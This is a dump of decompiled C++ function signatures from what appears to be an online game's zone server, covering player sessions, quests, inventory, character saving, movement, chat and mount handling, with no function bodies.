ShineObjectClass::ShinePlayer::so_charsharpdata(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DOING_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_READ_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_REPEAT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDoing(void *this, int data); void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDone(void *this, int data); void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestRead(void *this, int data); void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestRepeat(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_ABSTATE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_GUILD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_GUILD_ACADEMY_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_PASSIVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARGEDBUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_SKILL_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_charskilldata(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_GAME_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_Storegamedata(void *this, int gamedata); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_ITEM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_accountstoragefill(void *this, int accstorage); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHESTINFO_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_ply_Getchestinform(int chest); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Getchestinform(void *this, int chest); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_DISPOSITION_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_PK_MODE_TOGGLE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_GET_CHAT_BLOCK_SPAMER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ItemSmallBag::isb_Initializetotal(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype); int __thiscall ItemSmallBag::isb_FullBufferItem2Client(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box); void __thiscall ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer(void *this, int itemlist); void __thiscall List::l_Clear(List *this); void __thiscall ShineObjectClass::ShinePlayer::so_charpassivedata(void *this, int data); void __thiscall ShineObjectClass::ShinePlayer::so_CharChargedBuffData(void *this, unsigned __int16 *buff); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::find(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, const unsigned __int16 *_Keyval); void __thiscall WorldManagerSession::wms_NC_CHAR_ITEMACTIONCOOLTIME_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall CharaterSkillList::csl_clear(CharaterSkillList *this); void __thiscall ShineObjectClass::ShinePlayer::so_SetRegistNumber(void *this, int regnum); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ProductSkillLearnLockClear(int this); void __thiscall GameDBSession::gds_NC_SKILL_SKILLTEACHSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_SKILL_SKILLTEACHFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ(void *ecx0, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_SKILL_EMPOWALLOC_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall KQRegenTable::Element::Element(KQRegenTable::Element *this); void __thiscall Proto_CharDataStruct::Proto_CharDataStruct(Proto_CharDataStruct *this); void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this); void __thiscall DataFromOtherMachineList::DataFromOtherMachineList(DataFromOtherMachineList *this); void __thiscall DataFromOtherMachineList::_DataFromOtherMachineList(DataFromOtherMachineList *this); int __thiscall ChargedItemEffectFinger::cief_GetFinger(ORErrorMessage *this); char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); unsigned __int16 __cdecl RidingInitHungry(unsigned __int16 itmid); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall RidePetDataBox::RidePetDataBox(RidePetDataBox *this); void __thiscall RidePetDataBox::_RidePetDataBox(RidePetDataBox *this); void __thiscall RidePetDataBox::rpdb_Load(RidePetDataBox *this); int __cdecl mysecond(int *pnt); ChargedItemEffect *__thiscall ChargedItemEffectDataBox::cideb_FindFromHandle(ChargedItemEffectDataBox *this, int handle); char __thiscall List::l_PopA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); char __thiscall List::l_PopZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffect *index, int year, int month, int date, int hour, int minute); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Free(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle, #734 *ply); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle, #734 *ply); void __thiscall ChargedItemEffectList::ChargedEffectList::_ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this); void __thiscall ChargedItemEffectList::ChargedEffectListRouter::ChargedEffectListRouter(ChargedItemEffectList::ChargedEffectListRouter *this, ChargedItemEffectList::ChargedItem *chargeditem, #734 *ply); // void __thiscall ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter(ChargedItemEffectList::ChargedEffectListRouter *this); char __thiscall ChargedItemEffectList::ChargedEffectListRouter::lid_Call(ChargedItemEffectList::ChargedEffectListRouter *this, ChargedItemEffectList::ChargedItemEffectElement *ele, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemDelete(void *this, int cell, __int16 inventype, __int16 slot, int deltime); void __thiscall WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); char __thiscall List::l_PushA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemTest(void *this, time_t num); void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck(void *this, int itembag, int inventype); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall ChargedItemEffectList::ChargedEffectList::ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this); int __thiscall Name8::operator_(int this, int a2); char *__thiscall NameString::operator__(NameString *this, Name8 *a); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ(void *this, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_ReviveReqProcess(_DWORD); // weak void __thiscall GameDBSession::gds_NC_CHAR_CLASSCHANGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ClassChange(void *this, unsigned __int8 newclass); void __thiscall ShineObjectClass::ShineNPC::so_NPCRevive(ShineObjectClass::ShineNPC *this, #734 *sp); void __thiscall ItemSmallBag::isb_Clear(ItemSmallBag *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall AxialListMobFind::AxialListMobFind(AxialListMobFind *this, unsigned __int16 mobid, int objtype, int skip); void __thiscall AxialListMobFind::_AxialListMobFind(AxialListMobFind *this); char __thiscall DropLocationManager::dlm_Getloc(DropLocationManager *this, SHINE_XY_TYPE *center, SHINE_XY_TYPE *loc, int scale); int __thiscall ShineObjectClass::ShineObject::so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineObject::so_collesioncheck(#593 *this, #593 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BriefLink(void *this, int mapname, int coord); void __thiscall ShineObjectClass::ShinePlayer::sp_Admin_FindMob(void *this, const char *mobindex); FieldMap::FM_MarkingError __thiscall FieldMap::fm_Marking(#593 *, int, int, char); int __thiscall FieldMap::fm_RegenCity(int this); int __stdcall ShineObjectClass::ShineObject::so_SaveMisc2WMS(int buffer); int __stdcall ShineObjectClass::ShineObject::so_SaveCharTitle(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveToDB_CharTitle(int buf); int __stdcall ShineObjectClass::ShineObject::so_ply_SavePKCount(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveLocation(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveChestInfo(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveLevel(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveStat(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveGameData(int buf); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_QUEST_DOING_REQ *buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD *buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDone(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD *buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestRead(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_READ_CMD *buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestRepeat(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_REPEAT_CMD *buffer); int __stdcall ShineObjectClass::ShineObject::so_SaveAbstate(int buffer, int charid); char __stdcall ShineObjectClass::ShineObject::so_SaveItem_Part(int nc, int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveItem(int buf); int __stdcall ShineObjectClass::ShineObject::so_SaveSkill(int buffer, int SkillSaveCheck); void __thiscall WholeSaver::ws_savelevel2worldmamager(WholeSaver *this, #734 *sp); int __thiscall PROTO_NC_CHARSAVE_ALL_REQ::operator_(int this, int a2); void __thiscall WholeSaver::ws_saveassure(WholeSaver *this); void __thiscall EventSaveCheck::erb_happen(EventSaveCheck *this); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveMisc2WMS(void *this, int buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveCharTitle(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveToDB_CharTitle(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_ply_SavePKCount(void *this, int buf); int __thiscall ShineObjectClass::ShinePlayer::so_SaveChestInfo(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveLevel(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveStat(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveGameData(void *this, int buf); char __thiscall AbnormalStateSaver::lid_Call(AbnormalStateSaver *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::so_SaveAbstate(void *this, int buffer, int charid); int __thiscall ShineObjectClass::ShinePlayer::so_SaveItem(void *this, int buf); void __thiscall GameDBSession::gds_NC_CHARSAVE_ALL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_SKILL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall ShineObjectClass::ShinePlayer::so_Send_NC_CHARSAVE_2WLDMAN_SKILL_CMD(void *this, int nc); int __thiscall ItemSmallBag::isb_FullBufferItem2Server(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int bufsize); int __thiscall ItemSmallBag::isb_ItemCount_Output(ItemSmallBag *this); void __thiscall WholeSaver::_WholeSaver(WholeSaver *this); void __thiscall WholeSaver::ws_save2worldmanager(WholeSaver *this, #734 *sp); void __thiscall WholeSaver::ws_save2DB(WholeSaver *this, #593 *, char, int); void __thiscall EventSaveCheck::EventSaveCheck(EventSaveCheck *this); char __thiscall ShineObjectClass::ShinePlayer::so_SaveItem_Part(void *this, int nc, int buf); void __thiscall WholeSaver::WholeSaver(WholeSaver *this); void __thiscall CharaterSkillList::csl_FillSaveBuffer(CharaterSkillList *this, PROTO_NC_CHARSAVE_SKILL_REQ *buf, int SkillSaveCheck); int __thiscall ShineObjectClass::ShinePlayer::so_SaveSkill(void *this, int buffer, int SkillSaveCheck); char __thiscall MoveManager::mm_DuringMove(MoveManager *this); char __thiscall MoveManager::mm_IsInReinforceMove(MoveManager *this); void __thiscall BriefInfoBackup::bib_Backup(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape); bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(int this, int to); bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(int this, int from); char __thiscall ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck(void *this, int pFrom, int nBlockCnt, int nMaxBlock); void __thiscall AxialListMobDistribute::_AxialListMobDistribute(AxialListMobDistribute *this); char __thiscall AxialListMobDistribute::ali_Work(AxialListMobDistribute *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ(void *this, int netcmd, int len, __int16 handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD(void *this, int netcmd, int movedirect, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD(void *this, int netcmd, int movedirect, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendMoveFail(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD(void *this, int netcmd, int len, int handle); void __thiscall ShineObjectClass::ShinePlayer::sp_DoEmotion(void *this, __int16 handle, unsigned __int8 emoticonID); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD(void *this, int netcmd, int len, __int16 handle); void __stdcall ShineObjectClass::ShineObject::so_Chat(__int16 reciever, int chatstr, int len, char chatwin); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD(void *this, int netcmd, int len, signed int handle); void __stdcall ShineObjectClass::ShineObject::so_Shout(__int16 reciever, int chatername, int chatstr, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_MobDistribute(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SendSpeedInformation(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_SendSpeedInformation(void *this, char bSpeedCheck); void __thiscall ShineObjectClass::ShineMobileObject::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf, char myself); void __thiscall ShineObjectClass::ShinePlayer::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf, char myself); void __thiscall ShineObjectClass::ShineMobileObject::smo_ShootMeTo(void *this, int targetlocate); #593 **__cdecl std::copy_backward(#593 **, #593 **, #593 **); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_StopHere(void *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, LuaFuncTrigger::TriggerChat *const *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L185751(int a1); int __thiscall LuaFuncTrigger::FuncTrigger::ft_Find(LuaFuncTrigger::FuncTrigger *this, #593 *, std::vector > *); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD(void *ply, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ(void *this, int netcmd, int len, signed int handle); void __thiscall ShineObjectClass::ShineMobileObject::smo_ShadowStep(void *this, int a2); void __thiscall ClientSession::ClientSession(ClientSession *this); void __thiscall ClientSessionNull::ClientSessionNull(ClientSessionNull *this); void __thiscall ClientSession::_ClientSession(ClientSessionNull *this); void __thiscall ClientSessionManager::ClientSessionManager(ClientSessionManager *this); void __thiscall ClientSessionManager::_ClientSessionManager(ClientSessionManager *this); int __thiscall ClientSession::CheckHeartBeat(ClientSession *this, int interval); char __thiscall ClientSession::Send_NC_MISC_SEED_ACK(ClientSession *this, int seed); char __thiscall ZoneListenSession::zls_TravelComplete(ZoneListenSession *this, ZONERINGLINKAGESTART *startblock); #593 *__thiscall ZoneListenSession::zls_FindPlayer(ZoneListenSession *this, ZONERINGLINKAGESTART *startblock); void __thiscall ZoneListenSession::ZoneListenSession(ZoneListenSession *this); void __thiscall ZoneListenSession::_ZoneListenSession(ZoneListenSession *this); ZoneListenSession *__thiscall OPToolSession::opts_ActivSession(ZoneListenSession *this, unsigned int SocketAccept, sockaddr *pAddr); int __thiscall PROTO_NC_CHAR_PLAYERSUMMON_RNG::operator_(int this, int a2); int __thiscall PROTO_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG::operator_(int this, int a2); void __thiscall ZoneListenSession::zls_DummyFunction(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MISC_ZONERINGLINKTEST_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERSUMMON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_KICKPLAYEROUT_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERBANNED_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_BY_NORMAL_USER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); int __thiscall ClientSessionManager::InitSessions(ClientSessionManager *this, int MaxSessions); unsigned __int16 __thiscall DamageByAngle::DamageTable::operator__(DamageByAngle::DamageTable *this, int delta); void __thiscall DamageByAngle::DamageTable::dt_Load(DamageByAngle::DamageTable *this, Name4 *world, char *table); void __cdecl std::fill(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Val); DamageBySoul::SoulDamateElement *__cdecl std::_Copy_opt(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); DamageBySoul::SoulDamateElement *__cdecl std::_Copy_backward_opt(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); DamageBySoul::SoulDamateElement *__cdecl std::_Uninit_copy>(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(DamageBySoul::SoulDamateElement *_First, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); DamageBySoul::SoulDamateElement *__thiscall std::vector>::_Ufill(std::vector > *this, DamageBySoul::SoulDamateElement *_Ptr, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, DamageBySoul::SoulDamateElement _Val); void __thiscall DamageBySoul::SoulDamageContainer::sdc_Load(DamageBySoul::SoulDamageContainer *this, Name4 *world); // int __thiscall DefSkillData::dsd_GetSkillMaxNum(DefSkillData *this); int __thiscall DefSkillData::dsd_GetSkillID(DefSkillData *this, int Index, unsigned __int16 *SkillID); unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::sp_HorseError(void *this, unsigned __int16 err); int __thiscall ShineObjectClass::ShinePlayer::sp_HorseFree(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseFree(void *this); bool __thiscall ShineObjectClass::ShinePlayer::sp_HorseNotHungry(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_GetHorseFeed(int this); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetIndex(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseCast(void *this, int slot); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemAttrSave(void *this, int ridecell, int itembox, int slot); void __thiscall ShineObjectClass::ShinePlayer::sp_SendHorseHungry(void *this, int hungry); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket(void *this, __int16 errorcode, char invenType); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseItemSave(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HorseFeed(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOn(void *this, unsigned __int8 skillcooltime); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOff(void *ecx0); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ(int a1, int a2, int netcmd, int foodcell, __int16 handle); void __thiscall DirectDistanceTable::ddt_Initialize(DirectDistanceTable *this); void __thiscall VectorClass::Vector::v_Rotation(VectorClass::Vector *this, int sr); int __thiscall DirectDistanceTable::ddt_ShineRadianDiff(DirectDistanceTable *this, int mydir, int targetdir, int *sign); DirectDistanceTable::DDT_ObjectSide __thiscall DirectDistanceTable::ddt_IsInWhichSide(DirectDistanceTable *this, SHINE_XY_TYPE *myloc, int mydir, SHINE_XY_TYPE *targetloc); char __thiscall FieldMap::fm_IsStreight(void *this, int xA, int yA, int xB, int yB); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SHINE_XY_TYPE *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SHINE_XY_TYPE _Val); void __thiscall std::vector>::push_back(std::vector > *this, SHINE_XY_TYPE *_Val); char __thiscall RadianMoveTrack::rmt_MakePath(RadianMoveTrack *this, std::vector > *path, VectorClass::Vector *startvector, int fromsr, int tosr, int depth); char __thiscall RadianMoveTrack::rmt_Calculate(RadianMoveTrack *this, StaticVector *path); void __thiscall DropItemAnalyzer::dia_Set(DropItemAnalyzer *this, unsigned __int16 mob, unsigned __int16 itm); void __thiscall DropLoc::SameDistanceCluster::SameDistanceCluster(DropLoc::SameDistanceCluster *this); // void __thiscall DropLoc::SameDistanceCluster::_SameDistanceCluster(DropLoc::SameDistanceCluster *this); void __thiscall DropLoc::SameDistanceCluster::sdc_shuffle(DropLoc::SameDistanceCluster *this); void __thiscall DropLoc::SameDistanceCluster::sdc_Init(DropLoc::SameDistanceCluster *this, int number); void __thiscall DropLoc::SameDistanceCluster::sdc_Setsixpoint(DropLoc::SameDistanceCluster *this, int x1024, int y1024); char __thiscall DropLoc::SameDistanceCluster::sdc_Getdelta(DropLoc::SameDistanceCluster *this, int sub, SHINE_XY_TYPE *loc, int scale); void __thiscall DropLocationManager::DropLocationManager(DropLocationManager *this); void __thiscall DropLocationManager::_DropLocationManager(DropLocationManager *this); void __thiscall DropLocationManager::dlm_Load(DropLocationManager *this); void __thiscall DropLocationManager::dlm_home(DropLocationManager *this, int startcluster); char __thiscall DropLocationManager::dlm_next(DropLocationManager *this); char __thiscall DuplicatedMenuControl::dmc_CanMenuOpen(DuplicatedMenuControl *this, unsigned __int16 menu); char __thiscall EquipEnumChanger::eec_Next(EquipEnumChanger *this, int *finger); char *__thiscall EquipEnumChanger::eec_GetColumn(EquipEnumChanger *this, int *finger, ItemEquipEnum *equip); ItemEquipEnum __thiscall EquipEnumChanger::eec_EquipLocation(EquipEnumChanger *this, ItemInfoServer *iis, ItemBag *equipment); void __thiscall EquipEnumChanger::eec_ConflictWithNewEquip(EquipEnumChanger *this, ItemInfoServer *iis, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, InventoryLocking::InventoryCellLockList *lock); void __thiscall 